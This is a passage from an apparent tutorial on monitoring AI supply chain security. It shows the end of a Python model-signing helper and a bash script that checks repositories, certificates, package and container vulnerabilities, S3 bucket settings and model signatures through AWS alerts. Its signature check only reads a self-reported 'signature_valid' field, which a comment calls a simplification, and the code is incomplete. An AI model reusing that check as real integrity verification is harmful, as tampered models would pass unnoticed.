                <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">s3://</span><span class="si">{</span><span class="n">bucket</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">signed_key</span><span class="si">}</span><span class="sh">"</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">signed_path</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">model_location</span><span class="si">}</span><span class="s">.signed</span><span class="sh">"</span>
                <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">signed_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                    <span class="n">json</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="n">signed_artifact</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
                
                <span class="k">return</span> <span class="n">signed_path</span>
                
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error creating signed artifact: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="c1"># Additional helper methods would be implemented here
</span>    <span class="c1"># ... (remaining helper methods for completeness)
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="automated-supply-chain-monitoring">Automated Supply Chain Monitoring</h2>

<h3 id="continuous-monitoring-and-alerting-system">Continuous Monitoring and Alerting System</h3>

<p>Implementing continuous monitoring for AI supply chain components helps detect threats and vulnerabilities in real-time.</p>

<h4 id="supply-chain-monitoring-dashboard">Supply Chain Monitoring Dashboard</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
</pre></td><td class="rouge-code"><pre><span class="c">#!/bin/bash</span>
<span class="c"># AI Supply Chain Security Monitoring Script</span>

<span class="nb">set</span> <span class="nt">-euo</span> pipefail

<span class="c"># Configuration</span>
<span class="nv">MONITORING_BUCKET</span><span class="o">=</span><span class="s2">"ai-supply-chain-monitoring"</span>
<span class="nv">ALERT_TOPIC_ARN</span><span class="o">=</span><span class="s2">"arn:aws:sns:us-east-1:123456789012:ai-supply-chain-alerts"</span>
<span class="nv">CLOUDWATCH_LOG_GROUP</span><span class="o">=</span><span class="s2">"/aws/ai-supply-chain/monitoring"</span>

<span class="c"># Function to set up monitoring infrastructure</span>
setup_monitoring_infrastructure<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Setting up AI supply chain monitoring infrastructure..."</span>
    
    <span class="c"># Create S3 bucket for monitoring data</span>
    aws s3 mb s3://<span class="k">${</span><span class="nv">MONITORING_BUCKET</span><span class="k">}</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"Bucket already exists"</span>
    
    <span class="c"># Enable versioning and encryption</span>
    aws s3api put-bucket-versioning <span class="se">\</span>
        <span class="nt">--bucket</span> <span class="k">${</span><span class="nv">MONITORING_BUCKET</span><span class="k">}</span> <span class="se">\</span>
        <span class="nt">--versioning-configuration</span> <span class="nv">Status</span><span class="o">=</span>Enabled
    
    aws s3api put-bucket-encryption <span class="se">\</span>
        <span class="nt">--bucket</span> <span class="k">${</span><span class="nv">MONITORING_BUCKET</span><span class="k">}</span> <span class="se">\</span>
        <span class="nt">--server-side-encryption-configuration</span> <span class="s1">'{
            "Rules": [{
                "ApplyServerSideEncryptionByDefault": {
                    "SSEAlgorithm": "aws:kms"
                }
            }]
        }'</span>
    
    <span class="c"># Create CloudWatch log group</span>
    aws logs create-log-group <span class="se">\</span>
        <span class="nt">--log-group-name</span> <span class="k">${</span><span class="nv">CLOUDWATCH_LOG_GROUP</span><span class="k">}</span> <span class="se">\</span>
        <span class="nt">--retention-in-days</span> 90 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"Log group already exists"</span>
    
    <span class="c"># Create SNS topic for alerts</span>
    aws sns create-topic <span class="se">\</span>
        <span class="nt">--name</span> ai-supply-chain-alerts <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"Topic already exists"</span>
<span class="o">}</span>

<span class="c"># Function to monitor model repositories</span>
monitor_model_repositories<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Monitoring AI model repositories..."</span>
    
    <span class="c"># Define model repositories to monitor</span>
    <span class="nv">repositories</span><span class="o">=(</span>
        <span class="s2">"https://huggingface.co"</span>
        <span class="s2">"https://github.com"</span>
        <span class="s2">"https://pytorch.org/hub"</span>
        <span class="s2">"https://tensorflow.org/hub"</span>
    <span class="o">)</span>
    
    <span class="k">for </span>repo <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">repositories</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
        </span><span class="nb">echo</span> <span class="s2">"Checking repository: </span><span class="nv">$repo</span><span class="s2">"</span>
        
        <span class="c"># Check repository availability and certificate</span>
        <span class="nv">response_code</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-o</span> /dev/null <span class="nt">-w</span> <span class="s2">"%{http_code}"</span> <span class="s2">"</span><span class="nv">$repo</span><span class="s2">"</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"000"</span><span class="si">)</span>
        
        <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$response_code</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"200"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
            </span>aws sns publish <span class="se">\</span>
                <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                <span class="nt">--message</span> <span class="s2">"AI Model Repository Alert: </span><span class="nv">$repo</span><span class="s2"> returned HTTP </span><span class="nv">$response_code</span><span class="s2">"</span> <span class="se">\</span>
                <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Repository Unavailable"</span>
        <span class="k">fi</span>
        
        <span class="c"># Check SSL certificate expiration</span>
        <span class="nv">cert_expiry</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> | openssl s_client <span class="nt">-servername</span> <span class="s2">"</span><span class="k">${</span><span class="nv">repo</span><span class="p">#https</span>://<span class="k">}</span><span class="s2">"</span> <span class="nt">-connect</span> <span class="s2">"</span><span class="k">${</span><span class="nv">repo</span><span class="p">#https</span>://<span class="k">}</span><span class="s2">"</span>:443 2&gt;/dev/null | openssl x509 <span class="nt">-noout</span> <span class="nt">-enddate</span> 2&gt;/dev/null | <span class="nb">cut</span> <span class="nt">-d</span><span class="o">=</span> <span class="nt">-f2</span><span class="si">)</span>
        
        <span class="k">if</span> <span class="o">[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$cert_expiry</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">expiry_epoch</span><span class="o">=</span><span class="si">$(</span><span class="nb">date</span> <span class="nt">-d</span> <span class="s2">"</span><span class="nv">$cert_expiry</span><span class="s2">"</span> +%s<span class="si">)</span>
            <span class="nv">current_epoch</span><span class="o">=</span><span class="si">$(</span><span class="nb">date</span> +%s<span class="si">)</span>
            <span class="nv">days_until_expiry</span><span class="o">=</span><span class="k">$((</span> <span class="o">(</span>expiry_epoch <span class="o">-</span> current_epoch<span class="o">)</span> <span class="o">/</span> <span class="m">86400</span> <span class="k">))</span>
            
            <span class="k">if</span> <span class="o">[</span> <span class="nv">$days_until_expiry</span> <span class="nt">-lt</span> 30 <span class="o">]</span><span class="p">;</span> <span class="k">then
                </span>aws sns publish <span class="se">\</span>
                    <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                    <span class="nt">--message</span> <span class="s2">"SSL Certificate Alert: </span><span class="nv">$repo</span><span class="s2"> certificate expires in </span><span class="nv">$days_until_expiry</span><span class="s2"> days"</span> <span class="se">\</span>
                    <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Certificate Expiring"</span>
            <span class="k">fi
        fi
    done</span>
<span class="o">}</span>

<span class="c"># Function to scan for vulnerable ML frameworks</span>
scan_ml_frameworks<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Scanning for vulnerable ML frameworks..."</span>
    
    <span class="c"># Create temporary directory for scanning</span>
    <span class="nv">temp_dir</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span><span class="si">)</span>
    <span class="nb">cd</span> <span class="s2">"</span><span class="nv">$temp_dir</span><span class="s2">"</span>
    
    <span class="c"># Common ML frameworks to check</span>
    <span class="nv">frameworks</span><span class="o">=(</span>
        <span class="s2">"tensorflow==2.8.0"</span>
        <span class="s2">"torch==1.10.0"</span>
        <span class="s2">"scikit-learn==1.0.2"</span>
        <span class="s2">"numpy==1.21.0"</span>
        <span class="s2">"pandas==1.4.0"</span>
    <span class="o">)</span>
    
    <span class="c"># Create requirements file</span>
    <span class="nb">printf</span> <span class="s2">"%s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">frameworks</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;</span> requirements.txt
    
    <span class="c"># Install and run safety check</span>
    pip <span class="nb">install </span>safety 2&gt;/dev/null
    
    <span class="c"># Check for vulnerabilities</span>
    <span class="nv">safety_output</span><span class="o">=</span><span class="si">$(</span>safety check <span class="nt">-r</span> requirements.txt <span class="nt">--json</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s1">'[]'</span><span class="si">)</span>
    
    <span class="c"># Parse safety output and send alerts</span>
    <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$safety_output</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"[]"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
        </span><span class="nv">vulnerability_count</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$safety_output</span><span class="s2">"</span> | jq <span class="s1">'. | length'</span><span class="si">)</span>
        
        aws sns publish <span class="se">\</span>
            <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
            <span class="nt">--message</span> <span class="s2">"ML Framework Vulnerabilities Detected: </span><span class="nv">$vulnerability_count</span><span class="s2"> vulnerabilities found in ML dependencies"</span> <span class="se">\</span>
            <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Framework Vulnerabilities"</span>
        
        <span class="c"># Log detailed vulnerability information</span>
        <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$safety_output</span><span class="s2">"</span> | aws logs put-log-events <span class="se">\</span>
            <span class="nt">--log-group-name</span> <span class="k">${</span><span class="nv">CLOUDWATCH_LOG_GROUP</span><span class="k">}</span> <span class="se">\</span>
            <span class="nt">--log-stream-name</span> <span class="s2">"framework-vulnerabilities-</span><span class="si">$(</span><span class="nb">date</span> +%Y%m%d<span class="si">)</span><span class="s2">"</span> <span class="se">\</span>
            <span class="nt">--log-events</span> <span class="s2">"timestamp=</span><span class="si">$(</span><span class="nb">date</span> +%s000<span class="si">)</span><span class="s2">,message=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$safety_output</span><span class="s2">"</span> | jq <span class="nt">-c</span> .<span class="si">)</span><span class="s2">"</span>
    <span class="k">fi</span>
    
    <span class="c"># Cleanup</span>
    <span class="nb">cd</span> /
    <span class="nb">rm</span> <span class="nt">-rf</span> <span class="s2">"</span><span class="nv">$temp_dir</span><span class="s2">"</span>
<span class="o">}</span>

<span class="c"># Function to monitor container image vulnerabilities</span>
monitor_container_vulnerabilities<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Monitoring container image vulnerabilities..."</span>
    
    <span class="c"># Common ML container images to monitor</span>
    <span class="nv">images</span><span class="o">=(</span>
        <span class="s2">"tensorflow/tensorflow:latest"</span>
        <span class="s2">"pytorch/pytorch:latest"</span>
        <span class="s2">"jupyter/datascience-notebook:latest"</span>
        <span class="s2">"amazon/sagemaker-training:latest"</span>
    <span class="o">)</span>
    
    <span class="k">for </span>image <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">images</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
        </span><span class="nb">echo</span> <span class="s2">"Scanning image: </span><span class="nv">$image</span><span class="s2">"</span>
        
        <span class="c"># Pull latest image</span>
        docker pull <span class="s2">"</span><span class="nv">$image</span><span class="s2">"</span> <span class="o">&gt;</span>/dev/null 2&gt;&amp;1 <span class="o">||</span> <span class="k">continue</span>
        
        <span class="c"># Scan with trivy (if available)</span>
        <span class="k">if </span><span class="nb">command</span> <span class="nt">-v</span> trivy <span class="o">&gt;</span>/dev/null 2&gt;&amp;1<span class="p">;</span> <span class="k">then
            </span><span class="nv">scan_result</span><span class="o">=</span><span class="si">$(</span>trivy image <span class="nt">--format</span> json <span class="nt">--quiet</span> <span class="s2">"</span><span class="nv">$image</span><span class="s2">"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s1">'{"Results": []}'</span><span class="si">)</span>
            
            <span class="c"># Count vulnerabilities by severity</span>
            <span class="nv">critical_count</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$scan_result</span><span class="s2">"</span> | jq <span class="s1">'[.Results[]?.Vulnerabilities[]? | select(.Severity == "CRITICAL")] | length'</span><span class="si">)</span>
            <span class="nv">high_count</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$scan_result</span><span class="s2">"</span> | jq <span class="s1">'[.Results[]?.Vulnerabilities[]? | select(.Severity == "HIGH")] | length'</span><span class="si">)</span>
            
            <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$critical_count</span><span class="s2">"</span> <span class="nt">-gt</span> 0 <span class="o">]</span> <span class="o">||</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$high_count</span><span class="s2">"</span> <span class="nt">-gt</span> 5 <span class="o">]</span><span class="p">;</span> <span class="k">then
                </span>aws sns publish <span class="se">\</span>
                    <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                    <span class="nt">--message</span> <span class="s2">"Container Vulnerability Alert: </span><span class="nv">$image</span><span class="s2"> has </span><span class="nv">$critical_count</span><span class="s2"> critical and </span><span class="nv">$high_count</span><span class="s2"> high severity vulnerabilities"</span> <span class="se">\</span>
                    <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Container Vulnerabilities"</span>
            <span class="k">fi
        fi
    done</span>
<span class="o">}</span>

<span class="c"># Function to monitor data source integrity</span>
monitor_data_sources<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Monitoring data source integrity..."</span>
    
    <span class="c"># Define data sources to monitor (example S3 buckets)</span>
    <span class="nv">data_sources</span><span class="o">=(</span>
        <span class="s2">"s3://ml-training-data-public"</span>
        <span class="s2">"s3://ml-models-public"</span>
        <span class="s2">"s3://ml-datasets-public"</span>
    <span class="o">)</span>
    
    <span class="k">for </span><span class="nb">source </span><span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">data_sources</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
        if</span> <span class="o">[[</span> <span class="nv">$source</span> <span class="o">==</span> s3://<span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">bucket_name</span><span class="o">=</span><span class="k">${</span><span class="nv">source</span><span class="p">#s3</span>://<span class="k">}</span>
            
            <span class="c"># Check bucket accessibility</span>
            <span class="k">if </span>aws s3 <span class="nb">ls</span> <span class="s2">"</span><span class="nv">$source</span><span class="s2">"</span> <span class="o">&gt;</span>/dev/null 2&gt;&amp;1<span class="p">;</span> <span class="k">then</span>
                <span class="c"># Check for public access</span>
                <span class="nv">public_access</span><span class="o">=</span><span class="si">$(</span>aws s3api get-public-access-block <span class="nt">--bucket</span> <span class="s2">"</span><span class="nv">$bucket_name</span><span class="s2">"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s1">'{"PublicAccessBlockConfiguration": {}}'</span><span class="si">)</span>
                
                <span class="nv">block_public_acls</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$public_access</span><span class="s2">"</span> | jq <span class="nt">-r</span> <span class="s1">'.PublicAccessBlockConfiguration.BlockPublicAcls // false'</span><span class="si">)</span>
                
                <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$block_public_acls</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"true"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
                    </span>aws sns publish <span class="se">\</span>
                        <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                        <span class="nt">--message</span> <span class="s2">"Data Source Security Alert: </span><span class="nv">$source</span><span class="s2"> allows public access"</span> <span class="se">\</span>
                        <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Public Data Source"</span>
                <span class="k">fi</span>
                
                <span class="c"># Check bucket encryption</span>
                <span class="nv">encryption_status</span><span class="o">=</span><span class="si">$(</span>aws s3api get-bucket-encryption <span class="nt">--bucket</span> <span class="s2">"</span><span class="nv">$bucket_name</span><span class="s2">"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s1">'{}'</span><span class="si">)</span>
                
                <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$encryption_status</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"{}"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
                    </span>aws sns publish <span class="se">\</span>
                        <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                        <span class="nt">--message</span> <span class="s2">"Data Source Security Alert: </span><span class="nv">$source</span><span class="s2"> is not encrypted"</span> <span class="se">\</span>
                        <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Unencrypted Data Source"</span>
                <span class="k">fi
            else
                </span>aws sns publish <span class="se">\</span>
                    <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                    <span class="nt">--message</span> <span class="s2">"Data Source Access Alert: Cannot access </span><span class="nv">$source</span><span class="s2">"</span> <span class="se">\</span>
                    <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Data Source Inaccessible"</span>
            <span class="k">fi
        fi
    done</span>
<span class="o">}</span>

<span class="c"># Function to check model signing and integrity</span>
check_model_integrity<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Checking model integrity and signatures..."</span>
    
    <span class="c"># Example model locations to check</span>
    <span class="nv">model_locations</span><span class="o">=(</span>
        <span class="s2">"s3://ml-models-signed/production/model-v1.tar.gz"</span>
        <span class="s2">"s3://ml-models-signed/production/model-v2.tar.gz"</span>
    <span class="o">)</span>
    
    <span class="k">for </span>model_location <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">model_locations</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
        if</span> <span class="o">[[</span> <span class="nv">$model_location</span> <span class="o">==</span> s3://<span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nv">bucket_and_key</span><span class="o">=</span><span class="k">${</span><span class="nv">model_location</span><span class="p">#s3</span>://<span class="k">}</span>
            <span class="nv">bucket_name</span><span class="o">=</span><span class="k">${</span><span class="nv">bucket_and_key</span><span class="p">%%/*</span><span class="k">}</span>
            <span class="nv">object_key</span><span class="o">=</span><span class="k">${</span><span class="nv">bucket_and_key</span><span class="p">#*/</span><span class="k">}</span>
            
            <span class="c"># Check if signed version exists</span>
            <span class="nv">signed_key</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">object_key</span><span class="k">}</span><span class="s2">.signed"</span>
            
            <span class="k">if </span>aws s3api head-object <span class="nt">--bucket</span> <span class="s2">"</span><span class="nv">$bucket_name</span><span class="s2">"</span> <span class="nt">--key</span> <span class="s2">"</span><span class="nv">$signed_key</span><span class="s2">"</span> <span class="o">&gt;</span>/dev/null 2&gt;&amp;1<span class="p">;</span> <span class="k">then</span>
                <span class="c"># Download and verify signature</span>
                aws s3 <span class="nb">cp</span> <span class="s2">"s3://</span><span class="nv">$bucket_name</span><span class="s2">/</span><span class="nv">$signed_key</span><span class="s2">"</span> /tmp/model-signature.json <span class="o">&gt;</span>/dev/null 2&gt;&amp;1
                
                <span class="c"># Simple signature validation (in production, use proper cryptographic verification)</span>
                <span class="nv">signature_valid</span><span class="o">=</span><span class="si">$(</span>jq <span class="nt">-r</span> <span class="s1">'.signature_info.signature_valid // false'</span> /tmp/model-signature.json 2&gt;/dev/null<span class="si">)</span>
                
                <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$signature_valid</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"true"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
                    </span>aws sns publish <span class="se">\</span>
                        <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                        <span class="nt">--message</span> <span class="s2">"Model Integrity Alert: </span><span class="nv">$model_location</span><span class="s2"> has invalid signature"</span> <span class="se">\</span>
                        <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Invalid Model Signature"</span>
                <span class="k">fi
                
                </span><span class="nb">rm</span> <span class="nt">-f</span> /tmp/model-signature.json
            <span class="k">else
                </span>aws sns publish <span class="se">\</span>
                    <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
                    <span class="nt">--message</span> <span class="s2">"Model Integrity Alert: </span><span class="nv">$model_location</span><span class="s2"> is not signed"</span> <span class="se">\</span>
                    <span class="nt">--subject</span> <span class="s2">"Supply Chain Alert: Unsigned Model"</span>
            <span class="k">fi
        fi
    done</span>
<span class="o">}</span>

<span class="c"># Function to generate monitoring report</span>
generate_monitoring_report<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Generating supply chain monitoring report..."</span>
    
    <span class="nv">report_date</span><span class="o">=</span><span class="si">$(</span><span class="nb">date</span> +%Y-%m-%d<span class="si">)</span>
    <span class="nv">report_file</span><span class="o">=</span><span class="s2">"/tmp/supply-chain-report-</span><span class="k">${</span><span class="nv">report_date</span><span class="k">}</span><span class="s2">.json"</span>
    
    <span class="c"># Create monitoring report</span>
    <span class="nb">cat</span> <span class="o">&gt;</span> <span class="s2">"</span><span class="nv">$report_file</span><span class="s2">"</span> <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
{
    "report_date": "</span><span class="k">${</span><span class="nv">report_date</span><span class="k">}</span><span class="sh">",
    "monitoring_timestamp": "</span><span class="si">$(</span><span class="nb">date</span> <span class="nt">-u</span> +%Y-%m-%dT%H:%M:%SZ<span class="si">)</span><span class="sh">",
    "report_type": "ai_supply_chain_security",
    "summary": {
        "repositories_checked": 4,
        "frameworks_scanned": 5,
        "containers_monitored": 4,
        "data_sources_verified": 3,
        "models_integrity_checked": 2
    },
    "recommendations": [
        "Enable automated vulnerability scanning for all ML frameworks",
        "Implement model signing for all production models",
        "Set up continuous monitoring for data source integrity",
        "Configure alerts for repository availability issues"
    ]
}
</span><span class="no">EOF
    
</span>    <span class="c"># Upload report to S3</span>
    aws s3 <span class="nb">cp</span> <span class="s2">"</span><span class="nv">$report_file</span><span class="s2">"</span> <span class="s2">"s3://</span><span class="k">${</span><span class="nv">MONITORING_BUCKET</span><span class="k">}</span><span class="s2">/reports/"</span>
    
    <span class="c"># Send summary notification</span>
    aws sns publish <span class="se">\</span>
        <span class="nt">--topic-arn</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span> <span class="se">\</span>
        <span class="nt">--message</span> <span class="s2">"AI Supply Chain Security Report: Daily monitoring completed. Report available at s3://</span><span class="k">${</span><span class="nv">MONITORING_BUCKET</span><span class="k">}</span><span class="s2">/reports/supply-chain-report-</span><span class="k">${</span><span class="nv">report_date</span><span class="k">}</span><span class="s2">.json"</span> <span class="se">\</span>
        <span class="nt">--subject</span> <span class="s2">"AI Supply Chain Monitoring: Daily Report"</span>
    
    <span class="nb">rm</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$report_file</span><span class="s2">"</span>
<span class="o">}</span>

<span class="c"># Function to setup CloudWatch alarms</span>
setup_cloudwatch_alarms<span class="o">()</span> <span class="o">{</span>
    <span class="nb">echo</span> <span class="s2">"Setting up CloudWatch alarms for supply chain monitoring..."</span>
    
    <span class="c"># Alarm for high vulnerability count</span>
    aws cloudwatch put-metric-alarm <span class="se">\</span>
        <span class="nt">--alarm-name</span> <span class="s2">"AI-Supply-Chain-High-Vulnerabilities"</span> <span class="se">\</span>
        <span class="nt">--alarm-description</span> <span class="s2">"Alert when high number of vulnerabilities detected"</span> <span class="se">\</span>
        <span class="nt">--metric-name</span> <span class="s2">"VulnerabilityCount"</span> <span class="se">\</span>
        <span class="nt">--namespace</span> <span class="s2">"AI/SupplyChain"</span> <span class="se">\</span>
        <span class="nt">--statistic</span> Sum <span class="se">\</span>
        <span class="nt">--period</span> 3600 <span class="se">\</span>
        <span class="nt">--threshold</span> 5 <span class="se">\</span>
        <span class="nt">--comparison-operator</span> GreaterThanThreshold <span class="se">\</span>
        <span class="nt">--evaluation-periods</span> 1 <span class="se">\</span>
        <span class="nt">--alarm-actions</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span>
    
    <span class="c"># Alarm for repository availability</span>
    aws cloudwatch put-metric-alarm <span class="se">\</span>
        <span class="nt">--alarm-name</span> <span class="s2">"AI-Supply-Chain-Repository-Unavailable"</span> <span class="se">\</span>
        <span class="nt">--alarm-description</span> <span class="s2">"Alert when model repositories are unavailable"</span> <span class="se">\</span>
        <span class="nt">--metric-name</span> <span class="s2">"RepositoryAvailability"</span> <span class="se">\</span>
        <span class="nt">--namespace</span> <span class="s2">"AI/SupplyChain"</span> <span class="se">\</span>
        <span class="nt">--statistic</span> Average <span class="se">\</span>
        <span class="nt">--period</span> 300 <span class="se">\</span>
        <span class="nt">--threshold</span> 0.8 <span class="se">\</span>
        <span class="nt">--comparison-operator</span> LessThanThreshold <span class="se">\</span>
        <span class="nt">--evaluation-periods</span> 2 <span class="se">\</span>
        <span class="nt">--alarm-actions</span> <span class="k">${</span><span class="nv">ALERT_TOPIC_ARN</span><span class="k">}</span>
    
    <span class="c"># Alarm for unsigned models</span>
    aws cloudwatch put-metric-alarm <span class="se">\</span>
        <span class="nt">--alarm-name</span> <span class="s2">"AI-Supply-Chain-Unsigned-Models"</span> <span class="se">\</span>
        <span class="nt">--alarm-description</span> <span class="s2">"Alert when unsigned models are detected"</span> <span class="se">\</span>
        <span class="nt">--metric-name</span> <span class="s2">"UnsignedModelCount"</span> <span class="se">\</span>
        <span class="nt">--namespace</span> <span class="s2">"AI/SupplyChain"</span> <span class="se">\</span>
        <span class="nt">--statistic</span> Sum <span class="se">\</span>
        <span class="nt">--period</span> 3600 <span class="se">\</span>
        <span class="nt">--threshold</span> 0 <span class="se">\</span>
        <span class="nt">--comparison-operator</span> GreaterThanThreshold <span class="se">\</span>
        <span class="nt">--evaluation-periods</span> 1 <span class="se">\</span>
